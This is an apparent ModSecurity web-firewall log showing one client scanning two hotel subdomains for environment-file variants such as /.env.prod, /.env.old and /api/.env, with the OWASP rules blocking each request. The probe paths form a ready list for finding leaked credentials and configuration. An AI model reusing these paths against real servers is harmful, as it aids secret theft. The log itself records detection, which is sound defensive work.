[Sun Oct 25 18:01:06.863266 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at58IhVtY6H0wJd2uaILWQAAADA"]
[Sun Oct 25 18:01:06.863692 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at58IhVtY6H0wJd2uaILWQAAADA"]
[Sun Oct 25 18:01:06.918855 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at58IhFm2vH00tQABbbutwAAAAg"]
[Sun Oct 25 18:01:06.919204 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at58IhFm2vH00tQABbbutwAAAAg"]
[Sun Oct 25 18:01:06.919647 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at58IhFm2vH00tQABbbutwAAAAg"]
[Sun Oct 25 18:01:06.987262 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at58IhVtY6H0wJd2uaILWgAAADA"]
[Sun Oct 25 18:01:06.987600 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at58IhVtY6H0wJd2uaILWgAAADA"]
[Sun Oct 25 18:01:06.987984 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at58IhVtY6H0wJd2uaILWgAAADA"]
[Sun Oct 25 18:01:07.044079 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at58IxFm2vH00tQABbbuuAAAAAg"]
[Sun Oct 25 18:01:07.044454 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at58IxFm2vH00tQABbbuuAAAAAg"]
[Sun Oct 25 18:01:07.044916 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at58IxFm2vH00tQABbbuuAAAAAg"]
[Sun Oct 25 18:01:07.111709 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at58IxVtY6H0wJd2uaILWwAAADA"]
[Sun Oct 25 18:01:07.111998 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at58IxVtY6H0wJd2uaILWwAAADA"]
[Sun Oct 25 18:01:07.112399 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at58IxVtY6H0wJd2uaILWwAAADA"]
[Sun Oct 25 18:01:07.169369 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at58IxFm2vH00tQABbbuuQAAAAg"]
[Sun Oct 25 18:01:07.169721 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at58IxFm2vH00tQABbbuuQAAAAg"]
[Sun Oct 25 18:01:07.170182 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at58IxFm2vH00tQABbbuuQAAAAg"]
[Sun Oct 25 18:01:07.235667 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at58IxVtY6H0wJd2uaILXAAAADA"]
[Sun Oct 25 18:01:07.235911 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at58IxVtY6H0wJd2uaILXAAAADA"]
[Sun Oct 25 18:01:07.236206 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at58IxVtY6H0wJd2uaILXAAAADA"]
[Sun Oct 25 18:01:07.294121 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at58IxFm2vH00tQABbbuugAAAAg"]
[Sun Oct 25 18:01:07.294361 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at58IxFm2vH00tQABbbuugAAAAg"]
[Sun Oct 25 18:01:07.294673 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at58IxFm2vH00tQABbbuugAAAAg"]
[Sun Oct 25 18:01:07.359468 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at58IxVtY6H0wJd2uaILXQAAADA"]
[Sun Oct 25 18:01:07.359754 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at58IxVtY6H0wJd2uaILXQAAADA"]
[Sun Oct 25 18:01:07.360075 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at58IxVtY6H0wJd2uaILXQAAADA"]
[Sun Oct 25 18:01:07.418731 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at58IxFm2vH00tQABbbuuwAAAAg"]
[Sun Oct 25 18:01:07.418947 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at58IxFm2vH00tQABbbuuwAAAAg"]
[Sun Oct 25 18:01:07.419238 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at58IxFm2vH00tQABbbuuwAAAAg"]
[Sun Oct 25 18:01:07.483578 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at58IxVtY6H0wJd2uaILXgAAADA"]
[Sun Oct 25 18:01:07.483840 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at58IxVtY6H0wJd2uaILXgAAADA"]
[Sun Oct 25 18:01:07.484119 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at58IxVtY6H0wJd2uaILXgAAADA"]
[Sun Oct 25 18:01:07.543254 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at58IxFm2vH00tQABbbuvAAAAAg"]
[Sun Oct 25 18:01:07.543438 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at58IxFm2vH00tQABbbuvAAAAAg"]
[Sun Oct 25 18:01:07.543682 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at58IxFm2vH00tQABbbuvAAAAAg"]
[Sun Oct 25 18:01:07.607723 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at58IxVtY6H0wJd2uaILXwAAADA"]
[Sun Oct 25 18:01:07.607970 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at58IxVtY6H0wJd2uaILXwAAADA"]
[Sun Oct 25 18:01:07.608270 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at58IxVtY6H0wJd2uaILXwAAADA"]
[Sun Oct 25 18:01:07.667777 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at58IxFm2vH00tQABbbuvQAAAAg"]
